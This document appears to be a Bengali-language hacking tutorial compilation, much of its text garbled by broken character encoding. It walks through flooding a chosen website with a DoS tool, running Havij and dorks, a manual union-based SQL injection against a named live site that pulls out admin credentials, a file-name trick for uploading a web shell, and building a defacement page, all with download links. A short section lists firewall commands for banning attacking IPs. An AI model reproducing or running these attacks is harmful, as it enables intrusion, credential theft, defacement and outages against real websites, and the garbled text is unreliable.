কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

